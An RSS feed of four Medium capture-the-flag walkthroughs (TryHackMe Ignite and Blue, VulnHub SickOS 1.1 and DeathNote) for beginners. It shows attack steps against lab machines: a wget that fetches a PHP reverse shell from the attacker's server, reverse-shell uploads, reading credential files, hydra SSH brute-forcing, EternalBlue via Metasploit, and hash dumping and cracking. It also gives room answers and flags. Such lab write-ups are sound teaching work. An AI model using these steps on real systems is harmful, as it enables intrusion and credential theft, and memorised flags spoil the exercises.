<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by xer on Medium]]></title>
        <description><![CDATA[Stories by xer on Medium]]></description>
        <link>https://medium.com/@x3r?source=rss-dfaa1134fcd4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*IjtL75D0CHaiPjId</url>
            <title>Stories by xer on Medium</title>
            <link>https://medium.com/@x3r?source=rss-dfaa1134fcd4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 13 Nov 2026 19:34:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@x3r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ignite TryHackMe WriteUp/Walkthrough]]></title>
            <link>https://medium.com/@x3r/ignite-tryhackme-writeup-walkthrough-39463dde2895?source=rss-dfaa1134fcd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/39463dde2895</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[rce-vulnerability]]></category>
            <category><![CDATA[ignite]]></category>
            <category><![CDATA[fuelcms]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[xer]]></dc:creator>
            <pubDate>Fri, 15 Dec 2023 07:45:17 GMT</pubDate>
            <atom:updated>2023-12-15T07:45:17.698Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a beginner-friendly guide explaining the Ignite room on TryHackMe, including detailed walkthrough and solutions.</p><p><a href="https://tryhackme.com/room/ignite">Ignite</a></p><p>after connecting to the VPN lets run a nmap scan, here is the result :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*3LI8FF5pv3qyjatxBjZg9Q.png" /></figure><p>HTTP is open lets check it on the website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AlG6zkpumYlUkugsWE3P5w.png" /></figure><p>the website is made using fuel cms . by scrolling down we can see this details:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBwOYLlE3Kt2QtbvM_uuLQ.png" /></figure><p>its working and i found a page to upload files. letss try to upload reverse shell file 😉.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BiugJstko1oJliZ1VPkL0w.png" /><figcaption>browse the file and upload it</figcaption></figure><p>php reverse shell uploading is not working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*RD_0tmDloFi2zSE05KSt-Q.png" /></figure><p>we know the version of the fuel cms is 1.4.1. we have to check now is there any vulnerablity available in that version so checked in exploit-db for scripts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AgUuo4449G8GUU0AlO8L6A.jpeg" /><figcaption>lets try these 3 remote code executions</figcaption></figure><pre>https://www.exploit-db.com/exploits/50477</pre><p>and 50477.py worked for me, this is how it should use:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*KngqTpLD1u95PXUP7nVYIg.png" /></figure><p>this shell have limited capablities so lets try to take reverse shell from there.</p><p>lets try uploading reverse shell using python http.server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TS69NxLuZKKrt05C0CVV_Q.png" /></figure><p>take the reverse.php file from here and edit the ip address to your vpn ip:</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*Gp7BsyaeMQK0sQCfZuDVOA.png" /><figcaption>use wget to get the file</figcaption></figure><pre>$wget http://10.18.29.118:8000/reverse.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*KO3dZD5ylnzYL1b_Sm6cAg.jpeg" /></figure><p>lets visit the reverse shell file like this before the visit you need to listen the port you mentioned like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPpd6XU3Sw-0mXBZNexAFA.png" /><figcaption>its worked</figcaption></figure><p>now we got the real shell!!</p><p>the first flag is in :</p><pre>cat /home/www-data/flag.txt</pre><p>now we dont have the permission visit /root or we cannot escalate the user</p><p>lets check for the password for root. here we can find some database credentials:</p><pre>cat /var/www/html/fuel/application/config/database.php</pre><pre>  &#39;username&#39; =&gt; &#39;root&#39;,<br>        &#39;password&#39; =&gt; &#39;mememe&#39;,</pre><p>lets see can we escalate to root using this credentials👀 lets check ‘su root’ is working</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*fElDn4ujDp_kiZwYV7TppQ.png" /><figcaption>yes ofcourse it is working</figcaption></figure><p>the final flag is in :</p><pre>cat /root/root.txt</pre><p>thank you for checking this writeup.</p><p>your regards,</p><p><a href="https://medium.com/u/dfaa1134fcd4">xer</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39463dde2895" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sick OS 1.1 writeup]]></title>
            <link>https://medium.com/@x3r/sick-os-1-1-writeup-4098858a62f5?source=rss-dfaa1134fcd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/4098858a62f5</guid>
            <category><![CDATA[vulnerable-vm]]></category>
            <category><![CDATA[sicko]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[xer]]></dc:creator>
            <pubDate>Thu, 14 Dec 2023 08:08:06 GMT</pubDate>
            <atom:updated>2023-12-14T08:08:51.161Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys,</p><p>This is a simple walkthrough for sickos 1.1 vulnerable machine of vulnhub.</p><p><a href="https://www.vulnhub.com/entry/sickos-11,132/">SickOs: 1.1</a></p><p>It is a simple machine. As far as I’ve used it, it’s at an easy level🐣.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DDV1bxa6_VEQSpH6c1nF8g.png" /></figure><p>08: … is the default of my virtual machines, so I tried it through nmap. Once we have the IP address, the next step is always to determine the services running on the target machine, along with their versions. NMAP enables us to check for associated vulnerabilities in the current service versions, and for that, the NMAP scripting engine comes into play.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OX-GebdcKHw8vs69vOmu6Q.png" /></figure><p>from this nmap result i found there is two open ports and 1 closed port.So it’s clear that we can access the website via proxy port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*0G5Be1PYPwOqX9mjlgcB0g.png" /></figure><p>we have a open port 3128 and it is a proxy address so i tried to access it by mentioning the port via browser. it doesn’t seem to be working. so now go to your browser settings &gt; search proxy&gt;set the manual proxy configuration like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sq3aevB2uFm4608mJwgDAA.png" /><figcaption>search proxy and choose settings if you are using firefox</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ca__2G0LJWGqWBl7J3d4Sw.png" /><figcaption>change manual proxy to your target machine IP.</figcaption></figure><p>now try to access by removing the proxy port number and , it is working:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*LjPr2fcoS3ZedlxUrn8Lgg.png" /><figcaption>nothing is here</figcaption></figure><p>Ohkay!! now let’s check what’s in the robots.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*eX_5KKzsY5o0EKb2D0DnqQ.png" /><figcaption>there is a disallow for /wolfcms</figcaption></figure><p>after this tried to access /wolfcms directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*1AjBW3iGkosKfedwtIo7bA.png" /></figure><p>AAAHHH!!! as i expected it is a content management system. after this i tried many things and i tried to access the cms ‘s admin login page .</p><p><a href="http://192.168.1.34/wolfcms/?/admin/login">http://192.168.1.34/wolfcms/?/admin/login</a></p><p>by researching and googling i found that this is how admin login page is look like.☝️</p><p>and we found it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cNbSzeF84dSP_5F6bYkATw.png" /></figure><p>tried default credentials like ‘admin’ ‘admin’ to access the admin page and it is working 😎😎. by looking iteratively i found a file uploading section and tried reverse shell uploading. successfully uploaded!!.</p><p>this is the reverse shell script i used:</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell</a></p><p>change tha IP address to your IP address and port number as u need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l2eLOIpFpfbupWV6etBZlw.png" /></figure><p>now we need to execute it by opening the file via browser. it was in this directory:</p><p><a href="http://192.168.1.34/wolfcms/public/">http://192.168.1.34/wolfcms/public/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*vLwKZd1sl6Vl3hcE7SUTUg.png" /></figure><p>now we use netcat to listen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gj8ykpK9W20ARUdoNI3odw.png" /></figure><p>now open the reverse.PHP file to get connection.</p><p>lets see will we get DBname and pass from CMS’s config.php file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*pYZ7O96nCcb2xtX_PelZ3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*A6MjKhfQwymDZCc6d_9hCA.png" /></figure><p>found this and lets try the password for escalation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*zT9YES471OS1QaR_yTGhMg.png" /></figure><p>here i found a home folder for ‘sickos’ user lets change the user to sickos user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*s8kPnK9yPM7Q-0qGaryR9g.png" /><figcaption>the shell is an old one so lets try to upgrade the shell. python is available for us to use for upgrading the shell.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*1QQW9Lt6tdy-UJIYLmDSFQ.png" /></figure><p>python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</p><p>this is a way to spawn a more interactive shell (/bin/bash) when you have a limited shell or a restricted environment.By doing this, you might gain access to additional functionalities, commands, or permissions that were not available in the restricted shell, allowing you to perform more advanced actions or tasks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*WisbcgkwFGz4Tm4EFd3z_g.png" /></figure><p>and it is working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*nUR0QXB_veq9E2XpZ8NjgQ.png" /><figcaption>tried to access the root folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*v8VTbgJv-uDf72YuocNPpQ.png" /><figcaption>tried to escalate to root user and it is working successfully.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*nUje1QH5Z7uDhOnj6ZkIVg.png" /></figure><p>Hooray! SickOS 1.1 conquered!</p><p>hope you enjoyed this walkthrough.</p><p>Wishing you continued success in your cybersecurity endeavors.</p><p>Warm Regards,</p><p><a href="https://medium.com/u/dfaa1134fcd4">xer</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4098858a62f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DeathNote 1 vulnhub writeup]]></title>
            <link>https://medium.com/@x3r/deathnote-1-vulnhub-writeup-6d0b63b2d69b?source=rss-dfaa1134fcd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d0b63b2d69b</guid>
            <category><![CDATA[death-note]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <dc:creator><![CDATA[xer]]></dc:creator>
            <pubDate>Wed, 13 Dec 2023 08:16:15 GMT</pubDate>
            <atom:updated>2023-12-13T08:16:15.854Z</atom:updated>
            <content:encoded><![CDATA[<p>hello guys,</p><p>Get set to explore the captivating Deathnote saga with our complete walkthrough, uncovering every exciting twist and detail of this thrilling journey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*LWNLhxsHtxAY31Zo8aPqfQ.png" /><figcaption>nmap output</figcaption></figure><pre>nmap -Pn -v 19.168.1.53</pre><p>here we found http and ssh ports are open</p><p>like everytime i go for http first so i tried to paste the ip in browser and the ip changed to a domain name like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dAGO7Vla0LbhYcHpZY7lJg.png" /></figure><p>for better further steps change /etc/hosts on our computer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*PHfIvxGE6H8VF_WFQCaOQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*tBXDafYth7rMczfcWUSGPw.png" /><figcaption>save deathnote.vuln on hosts</figcaption></figure><p>while the reconnaissance i found a hint button on the websites and i checked the page source and i found out a directory where the image is stored:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jABmC0YwK8Bap8NZbT7q0Q.jpeg" /></figure><pre>http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/cropped-kiralogo.jpeg</pre><p>this is the path of that image file.</p><pre>deathnote.vuln/wordpress/wp-content/uploads/2021/07/</pre><p>i have shorted this and go to this directory and find out somany files and two wordlist type of files and i saved it for further use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PduINC0jBqeYb_n0vhI_Xg.png" /><figcaption>that notes.txt and user.txt maybe helpful for next steps</figcaption></figure><p>i searched directories through dirsearch tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*t1LLAUwBdoqIAVBJ6uyzVw.png" /></figure><p>checked and every directories and found /wordpress/wp-login.php and /robots.txt(found some information from this file)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*dlQEp-3VLiuHoSICTjm7jg.png" /><figcaption>/robots.txt</figcaption></figure><p>they are saying to go to /important.jpg but i found nothing from that. so i have used curl tool here to enumerate something from the page.</p><pre># curl http://192.168.1.53/important.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*z40v8HL5DhMHqw1iELuneA.png" /></figure><p>This confirms that user.txt can be used as a wordlist for usernames and notes.txt can be used for passwords.</p><p>so next we use hydra to bruteforce into taget’s ssh port</p><pre># hydra -L user.txt -P notes.txt 192.168.1.53 ssh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*wsmOHT_l75i8JvTwTn4q-g.png" /></figure><p>found credentials username “l” and password “death4me”</p><pre># ssh l@192.168.1.53</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*6bPkkTYk6a8GiXTZCdj_Mg.png" /></figure><p>successfully loged into ssh using that credentials. and found a text in + - &gt; &lt; like that and by googling i came to know that it was a brainfuck language .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vabTLwBkQCVcsKQS_vPRew.png" /><figcaption>i found kira is my next target user by this and going to system’s home folder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*CGcQNvSbXZeyM5P7DjBGYw.png" /></figure><p>permission denied!!</p><p>Lets dig deeper to see if we can find some useful information.and i found 2 useful directories in /opt/L/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*H9dp10HDZu0pLp4_c8mLyA.png" /></figure><p>so there is something in fake-notebook-rule folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*2cJ_2Yoo9uH3QHvyjFbXDA.png" /></figure><p>as they said using cyberchef to decode it. i found it is a hex</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*takcR1qFOvqvbf_of-JwBQ.png" /><figcaption>found some other hash</figcaption></figure><p>(used magic in cyberchef to find out both encodings)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jodhs4_mLvc9P7IN5NpQQw.png" /></figure><p>found passwd is</p><pre>kiraisevil</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*fX4P3h-30inGGdqZ7RlALA.png" /></figure><p>escalation done. and we are now kira user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*c4m3GaV5RWZ3bQZjdvyjHQ.png" /></figure><p>i tried to escalate to super user by same password i got and it is working and tried to access the root folder look what i have found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*BLxgNYIvIxV1JIDEirmWxg.png" /></figure><p><strong>additional informations i found:</strong></p><p>while the reconnaissance step i used this things to login to their wordpress admin page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*Vcivou7jkQPPVuzwWwxzbA.png" /><figcaption>this is the user name of the wp-admin login page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*hfkTe9dXYjCfbCYWj8y4eQ.png" /><figcaption>this is the password of the wp-admin login page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x6e_5KEnKyTFR7wBc1C_Qw.png" /></figure><p>i hope this simple writeup will be useful and interesting for you.</p><h4>Thanks for reading!</h4><p>x3r</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d0b63b2d69b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe BLUE walkthrough — TryHackMe machine | by xer]]></title>
            <link>https://medium.com/@x3r/hai-68a4c5e388e5?source=rss-dfaa1134fcd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/68a4c5e388e5</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[eternalblue]]></category>
            <dc:creator><![CDATA[xer]]></dc:creator>
            <pubDate>Fri, 13 Oct 2023 20:08:30 GMT</pubDate>
            <atom:updated>2023-10-13T20:22:03.043Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone! 🌟 Today, we’re diving into the thrilling world of hacking using TryHackMe’s Blue machine. If you’re new to this, don’t worry — we’ll take it step by step and keep it simple.</p><h3>Step 1: Scanning for Weak Spots 🛡️</h3><p>Use the following nmap scan</p><p><em>#nmap — script vuln -Pn 10.10.38.135</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*qjV5nhCP13--N-6mJl14dg.png" /></figure><p>The above scan command is used to perform a vulnerability scan.</p><p>”<em> — script vuln</em>” is a default flag for vulnerability script scan.</p><h3>Step 2: Knocking on Doors 🚪</h3><p>After scanning, we found a weak spot called ‘ms17–010’, also known as Eternal Blue. It’s a secret door into the system. Think of it like finding a hidden entrance to a castle!</p><p>After performing the nmap scan, this is what we found in the last line:</p><p><strong>smb-vuln-ms17–010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17–010) | State: VULNERABLE | IDs: CVE:CVE-2017–0143 | Risk factor: HIGH</strong></p><p>in this its saying about <strong>ms17–010</strong> it is a microsoft’s bulletin id for a critical security vulnerablity .it is known as eternal blue. if search in internet about ‘ms17–010’ we will get details about eternal blue.</p><p>and there is also a thing like this ‘CVE-2017–0143’ it is id of listing in Common Vulnerability Exposure.</p><h3>Step 3: Breaking In 🚀</h3><p>next step is to open msfconsole and search for ‘ms17–010’.</p><p>msfconsole is metasploit’s command line interface. we need to check in metasploit for is there a exploit for that windows vulnerability to get into that machine.</p><p>so run</p><p><em>#msfconsole</em></p><p><em>#search ms17–010</em></p><p>after searching this find exploit module and select with serial number for easy selecting here the exploit is in 0th position so i use ‘use 0’</p><p><em>#use 0</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*AAZ43XalNLLQhptm_ev10Q.png" /></figure><p>after that</p><p><em>#show options</em></p><p>for showing what options are there for exploiting with the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*ejZEw3fXPkf0dzjZupgZRQ.png" /></figure><p>here RHOSTS,RPORT means host and port of the <strong>target</strong>.</p><p>LHOST,LPORT means your ip and port .</p><p>here we need to change the RHOSTS . the target ip is as you know from the machines ip. (#set rhosts 10.10.38.135).</p><blockquote><em>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; set rhosts 10.10.251.65</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*UaH_MMR90YMe_u3VeMrndw.png" /></figure><p>LHOST is your vpn’s ip (also known as tunnel ip) (#set LHOST tun0).</p><blockquote><em>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; set lhost tun0</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*N01TotTXD9dlGf-OjeW32w.png" /></figure><p>now we have to set payload my this command</p><blockquote>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; set payload</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*ghlu41XtA87P-1kNqpkrdw.png" /></figure><p>we need meterpreter shell to this . meterpreter is a shell of metasploit used by penetration testers and attackers. meterpreter offers a wide range of functionalities for remote control ,data extraction, privilege escalation ,and more.</p><p>normally we have to add payload manually . here we don’t need to do that by this command it will add payload automatically.</p><p>now its time for exploit (or you can use ‘run’) command :</p><blockquote>#exploit</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*VcTJ2YRjbd9RfEJ1YUKGyg.png" /></figure><p>by this command we will break into that machine.</p><h3>Step 5: The Treasure Hunt 🏴‍☠️</h3><p>‘ps’ command in meterpreter shell used for running process listing.</p><blockquote>#ps</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*azvXXMpvBI0_4rNuG9km2w.png" /></figure><p>here the user we are using is ‘nt authority/system’ . i tried to migrate to services by this simply typing this command.</p><blockquote>#migrate 692</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*KHkrIrve-uGUA2WuO_bbAQ.png" /></figure><p>now we use this command to dump the hashes</p><blockquote>#hashdump</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*fNItG9-2HAfnCowTGbwW5A.png" /></figure><p>here we see a user jon he is admin of the system. crack the hash of it using crack station.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*0e0N8IVNspwOFCid131y_Q.png" /></figure><p>or we can use john the ripper tool in kali linux for cracking this. we found it is NTLM type of hash😎.</p><blockquote><em>echo &#39;ffb43f0de35be4d9917ac0cc8ad57f8d&#39; &gt; hash.txt</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*wz_qp1sR6ImZ_NKdI1gR1w.png" /></figure><blockquote><em>john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</em></blockquote><p>here i mentioned ‘nt’ in ‘ — format’ is for mentioning NTLM hash type. and we used rockyou.txt wordlist for cracking this hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*mOBpV5DhPXMiad4NjMvwdA.png" /></figure><blockquote><strong><em>Answer</em></strong><em>: alqfna22</em></blockquote><p>so when we look into the question . there they was saying that the flag is in this format flag*.txt. so i am coming back to my meterpreter shell for searching the flag.</p><p>i checked my current working directory by ‘getwd’ command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*pl_AXC8HpBudvhdlFLI7mw.png" /></figure><p>this is the command for searching flag*.txt in meterpreter type of shell.</p><blockquote><em>meterpreter &gt; search -f flag*.txt</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*81pKogCAYJJ_KpOy6iJpdw.png" /><figcaption>we got 3 flag paths now we all need to do is reach out to the directories and cat that flags</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*UGGh4RPH3OH6uLvBTPJppg.png" /></figure><p>That’s our thrilling adventure in the world of hacking! Remember, it’s about learning and having fun. Happy hacking! 🚀✨</p><h3>all the questions asked in tryhackme and its answers:</h3><p>1.How many ports are open with a port number under 1000?</p><blockquote>3</blockquote><p>2. What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08–067)</p><blockquote>ms17–010</blockquote><p>3.If you haven’t already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use?</p><blockquote>post/multi/manage/shell_to_meterpreter</blockquote><p>4.Select this (use MODULE_PATH). Show options, what option are we required to change?</p><blockquote>SESSION</blockquote><p>5.Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?</p><blockquote>Jon</blockquote><p>6.Copy this password hash to a file and research how to crack it. What is the cracked password?</p><blockquote>alqfna22</blockquote><p>7.Flag1? <em>This flag can be found at the system root.</em></p><blockquote>flag{access_the_machine}</blockquote><p>8.Flag2? <em>This flag can be found at the location where passwords are stored within Windows.</em></p><blockquote>flag{sam_database_elevated_access}</blockquote><p>9.flag3? <em>This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.</em></p><blockquote>flag{admin_documents_can_be_valuable}</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68a4c5e388e5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>